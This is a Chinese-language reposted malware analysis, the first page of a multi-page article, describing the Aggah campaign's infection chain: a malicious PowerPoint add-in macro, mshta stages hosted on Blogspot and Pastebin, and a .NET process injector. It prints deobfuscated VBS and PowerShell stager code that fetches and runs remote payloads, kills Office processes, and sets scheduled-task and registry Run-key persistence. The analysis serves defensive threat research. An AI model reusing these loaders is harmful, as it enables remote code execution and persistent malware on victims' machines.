Aggah攻击活动是如何做到在不租用服务器的情况下,运行超过一年的僵尸网络?

来源:岁月联盟 编辑:猪蛋儿 时间:2020-03-16

2019年3月,网络安全公司Palo Alto Networks旗下情报威胁分析研究小组Unit 42公开披露了一起针对中东国家的网络攻击行动,并认为它与巴基斯坦黑客组织“蛇发女妖(Gorgon)”有关。
这起行动被命名为“Aggah”,源于攻击者用来托管Revenge远控木马的Pastebin网站账户名(“HAGGA”)以及攻击者用来分割发送到Revenge C2服务器的数据的字符串(“aggah”)。
不过很快,另一家网络安全公司Yoroi声称发现了一起与“Aggah”行动似乎存在关联的网络攻击行动,它们有着非常相似的感染链。
最大的区别在于,“Aggah”行动传播的恶意软件是Revenge远控木马,而新发现的行动传播的是AzoRult间谍软件。
在过去的一年中,Yoroi的研究人员不断跟踪Aggah的活动。期间Yoroi的研究人员还深入研究了Roma225攻击活动,因为攻击者在恶意软件的攻击过程中使用的就是 RevengeRAT,比如,Cybaze-Yoroi ZLab的研究人员对一款针对意大利汽车行业的间谍恶意软件进行了分析,该恶意软件就是利用了RevengeRAT。
最近Cybaze-Yoroi ZLab组织决定分析最新的Aggah活动样本,并跟踪其最新变化。
技术分析
下表是要分析的样本信息:

初始文件是Microsoft PowerPoint PPA文件,它实际上是一个插件文件,旨在向经典的PowerPoint演示文稿中添加新行为,在本案例中,就是添加一个恶意宏:

恶意宏代码段
PPA中的恶意代码滥用Microsoft mshta实用程序从BlogSpot平台下载网页。
Bit.ly链接的结果
HTML页面与以前的Aggah攻击的操作手法非常相似。在此案例中,blogspot帖子的名称为“20sydney new”,但是它使用了与以前相同的技巧:将javascript阶段代码隐藏在web页面中,这是一个特殊的代码片段,仅由mshta引擎解释和执行。

隐藏在Blogspot网页中并由MSHTA引擎执行的恶意代码
传递了“unescape()”函数的参数会导致另外两层编码的字符串,采用了一种“matrioska unecape混淆”。经过这些层之后,Yoroi的研究人员恢复了stager的恶意逻辑:
Set M_c = CreateObject(StrReverse("llehS.tpircSW"))
Dim L_c
L_c = StrReverse("exe.drowniw mi/ f/ llikksat & exe.lecxe mi/ f/ llikksat c/ dmc")
M_c.Run L_c, vbHide
set Ixsi = CreateObject(StrReverse("llehS.tpircSW"))
Dim Bik
Bik1 = "mshta http://pastebin.com/raw/JELH48mw"
Ixsi.run Bik1, vbHide
set nci = CreateObject(StrReverse("llehS.tpircSW"))
Dim xx
xx1 = "r ""mshta http://pastebin.com/raw/JELH48mw"" /F "
xx0 = StrReverse("t/ )+niam+( nt/ 06 om/ ETUNIM cs/ etaerc/ sksathcs")
nci.run xx0 + xx1, vbHide
Set ll = CreateObject(StrReverse("llehS.tpircSW"))
no = StrReverse("mmetsaP/nuR/noisreVtnerruC/swodniW/tfosorciM/erawtfoS/UCKH")
ll.RegWrite no,"mshta http://pastebin.com/raw/NxJCPTmQ","REG_SZ"
self.close
代码段1
植入这些代码的目的旨在终止Word和Excel流程,此后,恶意软件立即再次利用mshta下载其他代码,这一次是通过pastebin代码段进行的。

恶意Pastebin片段
这篇文章的作者不再是Yoroi的研究人员之前分析中看到的“HAGGA”,而是“YAKKA3”:
YAKKA3 Pastebin用户的使用过程
该粘贴创建于2019年11月25日,在上个月的分析中可能已被多次编辑。过去,Aggah经常更改其粘贴内容,以修改恶意软件行为,并删除许多种类的恶意软件。在本文的案例中,其中一些人怀疑与Gorgon APT组有关。无论如何,在分析过程中,编码字符串的内容如下:
Set MVn = CreateObject(StrReverse("llehS.tpircSW"))
Mcn = "powershell do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);[void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow$_$loadStri$_$g'.replace('$_$','n'),[Microsoft.VisualBasic.CallType]::Method,'https://paste.ee/r/Zhs3s')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'Dow$_$loadStri$_$g'.replace('$_$','n'),[Microsoft.VisualBasic.CallType]::Method,'https://paste.ee/r/Fk9yH').replace('*','0x')|IEX;[vroombrooomkrooom]::kekedoyouloveme('calc.exe',$f)"
MVn.Run Mcn, vbHide
self.close
代码段2
上面的脚本是一段VBS脚本,旨在运行其他一些Powershell加载程序。powershell脚本通过连接到google.com测试互联网连接,然后开始感染。该脚本将下载另外两个粘贴,第一个是PE文件,第二个是自定义.NET进程注入实用程序。
注入器(injector)
注入器的样本信息如下:

如代码片段2所示,通过其静态方法“ [vroombrooomkrooom] :: kekedoyouloveme('calc.exe',$ f)”调用注入器组件。该组件的惟一目的是将有效载荷注入另一个进程的内存中,如以下参数所示:

[1] [2] [3]  下一页